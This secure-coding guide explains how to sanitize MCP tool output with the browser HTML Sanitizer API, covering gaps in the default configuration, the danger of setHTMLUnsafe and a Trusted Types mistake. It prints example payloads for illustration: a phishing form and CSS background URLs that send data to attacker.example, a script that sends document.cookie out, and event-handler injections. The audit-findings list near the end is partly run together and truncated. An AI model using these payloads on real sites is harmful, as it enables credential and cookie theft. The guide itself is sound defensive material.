MCP server security · HTML Sanitizer API · setHTML · Trusted Types integration
MCP server HTML Sanitizer API security — default config gaps, setHTMLUnsafe misuse, and Trusted Types interaction
The HTML Sanitizer API (new Sanitizer(), element.setHTML(), document.parseHTML()) is the browser-native sanitization API designed to replace DOMPurify for client-side HTML rendering. For MCP server tool output rendering it is a strong baseline — but its default configuration allows elements and attributes that enable non-script attacks. The setHTMLUnsafe() method skips all sanitization. Custom allowElements configurations that omit allowAttributes miss CSS injection. And a common integration mistake — extracting innerHTML from a TrustedHTML object — silently breaks the Trusted Types guarantee.
Default Sanitizer allowlist and non-script attack vectors
The default new Sanitizer() with no configuration removes <script>, event handlers, and javascript: URIs — but it allows a wide set of HTML elements including <form>, <input>, <button>, <details>, <summary>, and <dialog>. In some browser implementations, newer HTML attributes like commandfor and command (for the Invokers API) are also allowed. MCP tool output that cannot inject <script> can still cause harm using these allowed elements.
// Default Sanitizer — what it allows that you might not expect:
const sanitizer = new Sanitizer() // No configuration = permissive defaults
const outputDiv = document.getElementById('mcp-output')
// BLOCKED by default Sanitizer:
outputDiv.setHTML('<script>alert(1)</script>', { sanitizer })
// → '' (script element and content removed)
outputDiv.setHTML('<img onerror="alert(1)" src=x>', { sanitizer })
// → '<img src="x">' (onerror stripped)
// ALLOWED by default Sanitizer — potential non-script attacks:
// 1. Form phishing: replace login UI with attacker-controlled form
outputDiv.setHTML(`
<form action="https://attacker.example/steal" method="POST">
<p>Your session has expired. Please re-enter your credentials.</p>
<input name="username" placeholder="Username">
<input name="password" type="password" placeholder="Password">
<button type="submit">Log in</button>
</form>
`, { sanitizer })
// → Form renders and submits credentials to attacker.example
// Default Sanitizer does NOT block form elements or cross-origin action attributes
// 2. Dialog hijacking: inject a modal dialog over the page
outputDiv.setHTML(`
<dialog open>
<h2>Critical security alert</h2>
<p>Call us immediately at +1-800-FAKE-NUM</p>
<button>OK</button>
</dialog>
`, { sanitizer })
// → Dialog renders over page content — social engineering / tech support scam vector
// 3. details/summary: hide injected content in a collapsed section
outputDiv.setHTML(`
<details open>
<summary>Click to see your results</summary>
<form action="https://attacker.example/capture" method="GET">
<input name="token" value="auto-exfil-via-form-submit-on-focus">
</form>
</details>
`, { sanitizer })
Default is not safe for MCP tool output: The default Sanitizer is designed for rendering user-generated content from trusted communities (blog comments, forum posts) where form injection and dialog injection are low-risk. For MCP tool output — which can come from external, attacker-controlled tools — the default config is too permissive. Always use an explicit allowElements allowlist.
allowElements without allowAttributes — CSS injection gap
When configuring a custom Sanitizer with allowElements, many developers assume that specifying the allowed elements is sufficient and omit allowAttributes. This is incorrect: allowed elements retain all their attributes unless allowAttributes explicitly restricts them. The style attribute is allowed on any element by default — and CSS injection via the style attribute enables data exfiltration.
// VULNERABLE: allowElements without allowAttributes
const restrictiveSanitizer = new Sanitizer({
allowElements: ['div', 'span', 'p', 'code', 'a'],
// allowAttributes is NOT specified — all attributes are allowed on these elements
})
outputDiv.setHTML(toolOutput, { sanitizer: restrictiveSanitizer })
// Attacker tool output:
// '<a href="https://legit.example" style="position:fixed;top:0;left:0;width:100%;height:100%;background:url(https://attacker.example/screenshot?p=1)">Click here</a>'
// → The style attribute is allowed (not in allowElements, so not blocked)
// → CSS overlay covers the entire page with an attacker-controlled background image
// → The background image request leaks the page URL and timing to the attacker
// More direct CSS exfiltration via attribute selector:
// '<div style="background:url(https://attacker.example/steal?v=1)"></div>'
// → Sends a request to attacker.example whenever the div renders
// CORRECT: allowElements AND allowAttributes
const safeSanitizer = new Sanitizer({
allowElements: ['div', 'span', 'p', 'code', 'pre', 'ul', 'ol', 'li', 'a', 'br', 'hr',
'b', 'i', 'em', 'strong', 'blockquote'],
allowAttributes: {
'a': ['href', 'title'], // Only href and title on anchors
'code': ['class'], // class for syntax highlighting libraries
'pre': ['class'],
// 'style' is intentionally absent — no CSS injection possible
// '*' is intentionally absent — no global attributes
},
})
// With this config:
outputDiv.setHTML('<a href="https://legit.example" style="color:red">link</a>', { sanitizer: safeSanitizer })
// → '<a href="https://legit.example">link</a>' ← style attribute stripped
setHTMLUnsafe() — not a sanitization method
element.setHTMLUnsafe() performs no sanitization. Its purpose is rendering trusted author HTML that contains Declarative Shadow DOM templates (<template shadowrootmode="open">) — constructs that the safe Sanitizer strips. Using setHTMLUnsafe() with MCP tool output is equivalent to innerHTML assignment without any sanitization.
// DANGEROUS: setHTMLUnsafe() on MCP tool output
const toolResult = await mcpClient.callTool('render_content', { input: userQuery })
outputDiv.setHTMLUnsafe(toolResult.content)
// ANY executable HTML in toolResult.content will run:
// '<script>fetch("https://attacker.example?c="+document.cookie)</script>' → executes
// '<img src=x onerror=fetch("https://evil.example")>' → executes
// '<svg><animate onbegin=alert(1)></animate></svg>' → executes
// setHTMLUnsafe() is appropriate ONLY for:
// - Server-generated HTML you fully control (e.g., your own template output)
// - HTML that contains Declarative Shadow DOM templates from your own build system
// - NOT for any external data including MCP tool return values
// parseHTML() vs parseHTMLUnsafe():
// document.parseHTML(str) → returns a new Document with Sanitizer applied
// document.parseHTMLUnsafe(str) → returns a new Document WITHOUT sanitization
// Same safety distinction: parseHTML is safe, parseHTMLUnsafe is not.
// SAFE pattern using parseHTML:
const parsed = document.parseHTML(toolResult.content)
// parsed is a full Document with sanitized content
// Adopt specific nodes rather than the entire body:
const fragment = document.createDocumentFragment()
while (parsed.body.firstChild) {
fragment.appendChild(parsed.body.firstChild)
}
outputDiv.appendChild(fragment)
// The Sanitizer's restrictions apply — no scripts, no event handlers
Trusted Types interaction — breaking the guarantee
element.setHTML() integrates with Trusted Types: it satisfies Trusted Types enforcement at the innerHTML DOM sink level. But developers sometimes want to use the Sanitizer API through a Trusted Types policy — and a common mistake breaks the guarantee: extracting the HTML string from a TrustedHTML object before re-assigning it to innerHTML.
// WRONG: Extracting innerHTML from TrustedHTML breaks Trusted Types guarantee
// This pattern defeats the purpose of both Sanitizer and Trusted Types.
import DOMPurify from 'dompurify'
const policy = trustedTypes.createPolicy('sanitize', {
createHTML: (s) => DOMPurify.sanitize(s),
})
// Correct so far — policy creates a TrustedHTML object.
const trustedHtml = policy.createHTML(toolOutput.content)
// trustedHtml is a TrustedHTML — good.
// WRONG: extracting the string from TrustedHTML and calling Sanitizer separately
const sanitizer = new Sanitizer()
const tempDiv = document.createElement('div')
// This line extracts the sanitized string from TrustedHTML back to a plain string:
tempDiv.innerHTML = trustedHtml // ← This is safe (TrustedHTML assigned to innerHTML)
const plainHtmlString = tempDiv.innerHTML // ← NOW it's a plain string again
// Running the Sanitizer on the extracted string and re-assigning:
outputDiv.setHTML(plainHtmlString, { sanitizer })
// setHTML does not require TrustedHTML — it accepts plain strings and sanitizes them.
// But now the Trusted Types chain is broken:
// - The TrustedHTML was created by the DOMPurify policy
// - We extracted it back to a plain string (which strips the TrustedHTML type guarantee)
// - Any subsequent assignment via innerHTML (not setHTML) with the plain string would fail
// - And the double-sanitization is redundant and confusing
// CORRECT: use setHTML directly — it handles sanitization without Trusted Types
outputDiv.setHTML(toolOutput.content, { sanitizer: mySanitizer })
// No Trusted Types policy needed — setHTML directly invokes the Sanitizer.
// CORRECT: use Trusted Types policy WITH DOMPurify for innerHTML assignments
// (use this when Trusted Types enforcement requires TrustedHTML for innerHTML)
const policy = trustedTypes.createPolicy('mcp-sanitize', {
createHTML: (s) => DOMPurify.sanitize(s, { ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] }),
})
outputDiv.innerHTML = policy.createHTML(toolOutput.content)
// TrustedHTML chain intact — DOMPurify sanitizes inside createHTML, TrustedHTML at sink.
// DO NOT mix both patterns on the same element:
// Don't call setHTML AND assign innerHTML — pick one approach and be consistent.
Sanitizer API browser support: The Sanitizer API (setHTML / setHTMLUnsafe / parseHTML / parseHTMLUnsafe) is Baseline 2025 and available in Chrome 130+, Firefox 137+. Safari support is in development. For cross-browser MCP clients that must support Safari, use DOMPurify as the primary sanitizer with the Sanitizer API as progressive enhancement via feature detection (typeof element.setHTML === 'function').
Sanitizer API configuration reference
| Config key | Effect | Security note |
|---|---|---|
allowElements: [...] |
Only listed elements are kept. All other elements are removed (their children may be kept). | Must be combined with allowAttributes to restrict attributes on allowed elements. |
allowAttributes: { tag: [attrs] } |
Only listed attributes on listed tags (or '*' for all tags) are kept. |
Never include style or on* attributes unless CSS injection is acceptable. |
removeElements: [...] |
Listed elements and their children are removed entirely. | Works alongside allowElements or as a standalone blocklist (less safe than allowlist). |
removeAttributes: [...] |
Listed attributes are removed from all elements. | Blocklist approach — missing a new dangerous attribute is possible. |
| No config (default) | Removes scripts, event handlers, javascript: URIs. Allows most other HTML including forms, dialogs, inputs. | Too permissive for MCP tool output. Form and dialog injection are possible. |
Correct Sanitizer configuration for MCP tool output
// Recommended Sanitizer configuration for MCP tool output rendering
// Allowlist-based: only the elements and attributes in this list are permitted.
// Everything else is stripped.
const mcpOutputSanitizer = new Sanitizer({
allowElements: [
// Text content
'p', 'br', 'hr', 'b', 'i', 'em', 'strong', 'u', 's', 'del', 'ins',
// Headings
'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
// Lists
'ul', 'ol', 'li', 'dl', 'dt', 'dd',
// Code
'code', 'pre', 'samp', 'kbd',
// Inline
'span', 'div',
// Links and images (with restricted attributes below)
'a', 'img',
// Tables
'table', 'thead', 'tbody', 'tfoot', 'tr', 'th', 'td', 'caption', 'colgroup', 'col',
// Quotes
'blockquote', 'q', 'cite',
// Misc content
'abbr', 'acronym', 'mark', 'small', 'sub', 'sup',
'figure', 'figcaption',
// Explicitly NOT in this list:
// form, input, button, select, textarea (phishing vectors)
// script, style, link (execution/injection vectors)
// iframe, frame, embed, object (content injection)
// dialog, details, summary (UI spoofing vectors)
// svg, math (complex parsers with historically more bypass vectors)
],
allowAttributes: {
'a': ['href', 'title', 'rel'], // href: allow links; rel: for noopener
'img': ['src', 'alt', 'width', 'height', 'loading'],
'th': ['scope', 'colspan', 'rowspan'],
'td': ['colspan', 'rowspan'],
'code': ['class'], // for syntax highlighting (language-* classes)
'pre': ['class'],
// 'style' intentionally absent — prevents CSS injection
// 'on*' attributes automatically blocked by Sanitizer even without explicit exclusion
// 'id' intentionally absent — prevents script targeting of injected elements
},
})
// Usage
async function renderMcpOutput(container, tool, params) {
const result = await mcpClient.callTool(tool, params)
container.setHTML(result.content, { sanitizer: mcpOutputSanitizer })
}
// Verify your config using the browser interop test suite:
// https://wpt.live/sanitizer-api/
// Tests cover element removal, attribute removal, and allowed combinations.
SkillAudit findings
setHTMLUnsafe() used with MCP tool output — element.setHTMLUnsafe() is called with MCP tool return values. This method performs no sanitization — it is equivalent to innerHTML assignment. All executable HTML in tool output runs: script elements, event handlers, SVG animation handlers, and Invoker API commands. −25 ptsnew Sanitizer() with no configuration is used to render MCP tool output. The default config allows <form>, <input>, <button>, and <dialog> elements. Tool output can inject credential-harvesting forms and UI-spoofing dialogs. −18 ptsallowElements configured without allowAttributes — CSS injection via style attribute — Custom Sanitizer allows specific elements but all their attributes are permitted. The style attribute enables CSS-based data exfiltration (background image URLs) and UI overlay attacks from MCP tool output. −16 ptsinnerHTML from a TrustedHTML object (converting it back to a plain string) before passing it to the Sanitizer. This breaks the end-to-end Trusted Types guarantee — subsequent innerHTML assignments with the extracted string will fail Trusted Types enforcement. −10 ptssetHTML() (as of June 2026), so Safari users receive unsanitized tool output via an innerHTML fallback path. −6 ptsSee also
- MCP server Trusted Types security — no-op policy bypass, default policy abuse, and DOM sink coverage
- MCP server CSP nonce security — nonce reuse and exfiltration attacks
- MCP server Content Security Policy — full CSP directive coverage for MCP web interfaces
- MCP server tool output sanitization — broader tool output sanitization strategies
- MCP server security checklist — comprehensive pre-submission checklist